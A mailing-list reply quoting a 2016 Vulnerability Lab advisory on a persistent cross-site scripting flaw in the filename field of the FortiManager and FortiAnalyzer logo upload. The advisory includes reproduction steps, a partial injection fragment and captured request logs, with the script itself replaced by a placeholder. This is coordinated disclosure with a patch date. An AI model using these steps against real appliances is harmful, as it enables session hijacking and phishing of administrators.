[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

RE: FortiManager & FortiAnalyzer 5.x (Appliance Application) - (filename) Persistent Web Vulnerability



Hi All,

Please would you mind telling us exactly which products and version are 
concerned by this issue ?
We contact Fortinet and it seems they are not informed about it and there is no 
patch available at this time.

Regards,

Jacques


Jacques GRILLOT
Responsable Réseau et Infrastructure
Network and Infrastructure Manager 
+33 (0) 4 88 36 07 52
+33 (0) 6 08 33 06 02
 

Siège social : Cap Oméga Rond-point Benjamin Franklin
34960 Montpellier Cedex 2 
Agence de Paris : Le village 55 Rue de la Boétie 75008 Paris
Restons connecté !                     


-----Message d'origine-----
De : Vulnerability Lab [mailto:research@xxxxxxxxxxxxxxxxxxxxx] 
Envoyé : lundi 4 avril 2016 13:41
À : bugtraq@xxxxxxxxxxxxxxxxx; bugs@xxxxxxxxxxxxxxxxxxx
Objet : FortiManager & FortiAnalyzer 5.x (Appliance Application) - (filename) 
Persistent Web Vulnerability

Document Title:
===============
FortiManager & FortiAnalyzer 5.x (Appliance Application) - (filename) 
Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1687

Fortinet PSIRT ID: 1624561


Release Date:
=============
2016-04-04


Vulnerability Laboratory ID (VL-ID):
====================================
1687


Common Vulnerability Scoring System:
====================================
3.7


Product & Service Introduction:
===============================
FortiManager appliances allow you to centrally manage any number of Fortinet 
devices, from several to thousands, including FortiGate®, FortiWiFi™, 
FortiCarrier™, FortiMail™ and FortiAnalyzer™ appliances and virtual appliances, 
as well as FortiClient™ endpoint security agents. You can further simplify 
control and management of large deployments by grouping devices and agents into 
administrative domains (ADOMs).

The FortiManager family of management appliances provides centralized 
policy-based provisioning, device configuration, and update management for 
FortiGate, FortiWiFi, and FortiMail appliances, and FortiClient end-point 
security agents, plus end-to-end network monitoring and device control.
FortiManager delivers a lower TCO for Fortinet implementations by minimizing 
both initial deployment costs and ongoing operating expenses.
Control
administrative access and simplify policy deployment using role-based 
administration to define user privileges for specific management domains and 
functions, and aggregating collections of Fortinet appliances and agents into 
independent management domains. In addition, by locally hosting security 
content updates for managed devices and agents, FortiManager appliances 
minimize Web filtering rating request response time and maximize network 
protection.

(Copy of the Vendor Homepage: 
http://www.avfirewalls.com/FortiManager-Series.asp )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Core Research Team discovered a persistent web 
validation vulnerability in the official Fotinet FortiManager and FortiAnalyzer 
appliance product series.


Vulnerability Disclosure Timeline:
==================================
2016-01-25: Researcher Notification & Coordination (Marco Onorati - Evolution 
Security GmbH)
2016-01-26: Vendor Notification (FortiGuard Security Team)
2016-02-10: Vendor Response/Feedback (FortiGuard Security Team)
2016-03-24: Vendor Fix/Patch (Fortinet Developer Team)
2016-04-04: Security Bulletin (FortiGuard Security Team) [Acknowledgements]
2016-04-04: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Fortinet
Product: FortiManager - Appliance (Web-Application) 200D,  300D, 1000D, 3900E, 
4000E, Virtual Appliances Versio

Fortinet
Product: FortiManager - Appliance (Web-Application) Legacy - 100, 100C, 400A, 
400B, 400C, 1000C, 3000C & 4000

Fortinet
Product: FortiAnalyzer - Appliance (Web-Application) 200D, 300D, 1000D, 2000D, 
3000E, 3500E, 3900E, VM Base & VM


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A persistent input validation web vulnerability and filter bypass issue has 
been discovered in the official Fotinet FortiManager and FortiAnalyzer 
appliance product series.
The application-side web vulnerability allows remote attackers to inject own 
malicious script codes to the application-side of the affected modules context.

The vulnerability is located in the `filename` value of the ` Layout Header 
[Header Image]` module. Remote attackers with low privileged web-application 
user accounts are able to inject own malicious script codes to the 
application-side of the affected ` Advanced Settings - Advanced Settings - 
Layout Header` module. The request method to inject is POST and the issue is 
located on the application-side of the fortimanager/fortianalyzer appliance 
web-application.

The security risk of the client-side cross site scripting web vulnerability is 
estimated as medium with a cvss (common vulnerability scoring system) count of 
3.7.
Exploitation of the application-side web vulnerability requires no privileged 
web-application user account and low or medium user interaction. Successful 
exploitation of the vulnerability results in persistent phishing, session 
hijacking, persistent external redirect to malicious sources and 
application-side manipulation of affected or connected web module context.


Request Method(s):
                    [+] POST

Vulnerable Module(s):
                    [+] /report/graphic/upload/

Vulnerable Parameter(s):
                    [+] filename

Affected Serie(s): FortiManager
                    [+] FortiManager 200D
                    [+] FortiManager 300D
                    [+] FortiManager 1000D
                    [+] FortiManager 3900E
                    [+] FortiManager-4000E
                    [+] FortiManager Virtual Appliances
                    [+] FortiMoM-VM

FortiManager Legacy Models
                    [+] FortiManager 100
                    [+] FortiManager 100C
                    [+] FortiManager 400A
                    [+] FortiManager 400B
                    [+] FortiManager 400C
                    [+] FortiManager 1000C
                    [+] FortiManager 3000C
                    [+] FortiManager 4000D

Affected Serie(s):  FortiAnalyzer
                    [+] FortiAnalyzer 200D
                    [+] FortiAnalyzer 300D
                    [+] FortiAnalyzer 1000D
                    [+] FortiAnalyzer 2000B
                    [+] FortiAnalyzer 3000E
                    [+] FortiAnalyzer 3500E
                    [+] FortiAnalyzer 3900E
                    [+] FortiAnalyzer VM Base
                    [+] FortiAnalyzer VM GB1
                    [+] FortiAnalyzer VM GB5
                    [+] FortiAnalyzer VM GB25
                    [+] FortiAnalyzer VM GB100
                    [+] FortiAnalyzer VM GB500
                    [+] FortiAnalyzer VM GB2000


Proof of Concept (PoC):
=======================
The persistent input validation web vulnerability can be exploited by local low 
privileged web-application user accounts and low user interaction (click).
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Login to the Fortinet FortiManager appliance web-application 2. Open the 
following module Reports > Reports > Client Reputation > Advanced Settings > 
Advanced Settings > Layout Header 3. Scroll to the layout header section 4. 
Start a session tamper to intercept the http protocol communication 5. Choose a 
random file and perform the upload 6. Change with the live session tamper the 
filename value of the logo to a script code payload 7. Wait since the upload 
has been performed and click next to the upload input field 8. The script code 
executes were the filename is normally visible next to the upload via submit 9. 
Successful reproduce of the vulnerability!

Note: There could be other sections that are affected after the inject were the 
logo image is displayed finally!


PoC: (Source) Reports > Reports > Client Reputation > Advanced Settings
> Advanced Settings > Layout Header [Header Image] (filename)
PoC: Reports > Reports > Client Reputation > Advanced Settings > Advanced 
Settings > Layout Header [Header Image] (filename)  <td 
id="yui_3_5_0_1_1453826860703_2595"><input
value="{user_img_path}/"><"<img src="x">%20%20>"<[PERSISTENT INJECTED SCRIPT 
CODE VIA FILENAME!]>2.png" name="header-image"
type="hidden"><button id="yui_3_5_0_1_1453826860703_2594"
type="button">Choose...</button><span>"><"<img src="x">%20%20>"<iframe 
src="a">%20<iframe>2.png</iframe></span></td>
        </tr>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST https://localhost:8080/p/report/graphic/upload/ Load 
Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] 
Mime Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0)
Gecko/20100101 Firefox/43.0]
     
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[https://localhost:8080/p/report/graphic/]
      Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; 
add_dev_later=; auth_state=; 
CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==;
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]
      Connection[keep-alive]
   POST-Daten:
      POST_DATA[-----------------------------2152057857037
Content-Disposition: form-data; name="csrfmiddlewaretoken"
0658038790fd19a3e4c13d8e92b7dccc
-----------------------------2152057857037
Content-Disposition: form-data; name="graphic_upload"; filename=""><[PERSISTENT 
INJECTED SCRIPT CODE VULNERABILITY!]>2.png"
Content-Type: image/png
-
Status: 200[OK]
GET https://localhost:8080/p/jsi18n/proj.report/ Load Flags[LOAD_NORMAL] Größe 
des Inhalts[-1] Mime Type[text/javascript]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0)
Gecko/20100101 Firefox/43.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[https://localhost:8080/p/report/graphic/upload/]
      Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; 
add_dev_later=; auth_state=; 
CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==;
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]
      Connection[keep-alive]
   Response Header:
      Date[Tue, 26 Jan 2016 16:42:00 GMT]
      Server[Apache]
      X-Frame-Options[SAMEORIGIN]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      x-ua-compatible[IE=Edge]
      Keep-Alive[timeout=30, max=169]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/javascript]
-
Status: 200[OK]
GET https://localhost:8080/p/report/graphic/list/ Load Flags[LOAD_BACKGROUND  
LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des Inhalts[-1] Mime 
Type[application/json]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0)
Gecko/20100101 Firefox/43.0]
      Accept[application/json, text/javascript, */*; q=0.01]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      X-Requested-With[XMLHttpRequest]
      Referer[https://localhost:8080/p/report/graphic/upload/]
      Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; 
add_dev_later=; auth_state=; 
CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==;
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]
      Connection[keep-alive]
   Response Header:
      Date[Tue, 26 Jan 2016 16:42:02 GMT]
      Server[Apache]
      Expires[-1]
      Pragma[no-cache]
      Cache-Control[no-store,no-cache,must-revalidate]
      X-Frame-Options[SAMEORIGIN]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      x-ua-compatible[IE=Edge]
      Keep-Alive[timeout=30, max=167]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[application/json; charset=UTF-8]
-
Status: 200[OK]
GET https://localhost:8080/faz_upload/%22";><[PERSISTENT INJECTED SCRIPT CODE 
VULNERABILITY!]>%3E2.png Load Flags[LOAD_NORMAL] Größe des Inhalts[479] Mime 
Type[text/html]
   Request Header:
      Host[localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:43.0)
Gecko/20100101 Firefox/43.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      DNT[1]
      Referer[https://localhost:8080/p/report/graphic/upload/]
      Cookie[remoteauth=; forRevert=0; vmConfirm=; tabPosition=; showSlave=1; 
add_dev_later=; auth_state=; 
CURRENT_SESSION=fwIr/L5mHH6KxnWtaRFi1yaM7G8beXiY5GiH+aOh8H/rwrHsVmqyYkn9dERLe0LNKR4xx/yUT1qcGgyxFD6N6A==;
csrftoken=0658038790fd19a3e4c13d8e92b7dccc]
      Connection[keep-alive]
   Response Header:
      Date[Tue, 26 Jan 2016 16:42:03 GMT]
      Server[Apache]
      X-Frame-Options[SAMEORIGIN]
      Vary[Accept-Encoding]
      Content-Encoding[gzip]
      x-ua-compatible[IE=Edge]
      Content-Length[479]
      Keep-Alive[timeout=30, max=200]
      Connection[Keep-Alive]
      Content-Type[text/html]


Reference(s):
https://www.fortianalyzer.com/
https://www.fortianalyzer.com/p/
https://www.fortianalyzer.com/p/report/
https://www.fortianalyzer.com/p/jsi18n/
https://www.fortianalyzer.com/p/report/graphic/
https://www.fortianalyzer.com/p/jsi18n/proj.report/
https://www.fortianalyzer.com/p/report/graphic/list/
https://www.fortianalyzer.com/p/report/graphic/upload/
https://www.fortianalyzer.com/faz_upload/%22";><[x]>%3E2.png


Solution - Fix & Patch:
=======================
2016-03-24: Vendor Fix/Patch (Fortinet Developer Team)

The fix is available in the customer area. Customers can install it manually or 
my the automated mechanism of the appliance application.


Security Risk:
==============
The security risk of the application-side input validation web vulnerability in 
the filename value of the logo upload function is estimated as medium. (CVSS 
3.7)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Marco Onorati
(research@xxxxxxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, including the warranties of merchantability and capability for a 
particular purpose. Vulnerability-Lab or its suppliers are not liable in any 
case of damage, including direct, indirect, incidental, consequential loss of 
business profits or special damages, even if Vulnerability-Lab or its suppliers 
have been advised of the possibility of such damages.
Some states do not allow the exclusion or limitation of liability for 
consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any vendor licenses, policies, 
deface websites, hack into databases or trade with fraud/stolen material.

Domains:    www.vulnerability-lab.com       - www.vuln-lab.com       
                   - www.evolution-sec.com
Contact:    admin@xxxxxxxxxxxxxxxxxxxxx     -
research@xxxxxxxxxxxxxxxxxxxxx                    - admin@xxxxxxxxxxxxxxxxx
Section:    magazine.vulnerability-db.com    -
vulnerability-lab.com/contact.php                   -
evolution-sec.com/contact
Social:        twitter.com/#!/vuln_lab         -
facebook.com/VulnerabilityLab                    -
youtube.com/user/vulnerability0lab
Feeds:        vulnerability-lab.com/rss/rss.php    -
vulnerability-lab.com/rss/rss_upcoming.php           -
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php      -
vulnerability-lab.com/list-of-bug-bounty-programs.php    -
vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file 
requires authorization from Vulnerability Laboratory. Permission to 
electronically redistribute this alert in its unmodified form is granted. All 
other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, 
advisories, source code, videos and other information on this website is 
trademark of vulnerability-lab team & the specific authors or managers. To 
record, list (feed), modify, use or edit our material contact 
(admin@xxxxxxxxxxxxxxxxxxxxx or research@xxxxxxxxxxxxxxxxxxxxx) to get a 
permission.

                Copyright © 2016 | Vulnerability Laboratory - [Evolution 
Security GmbH]™

--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@xxxxxxxxxxxxxxxxxxxxx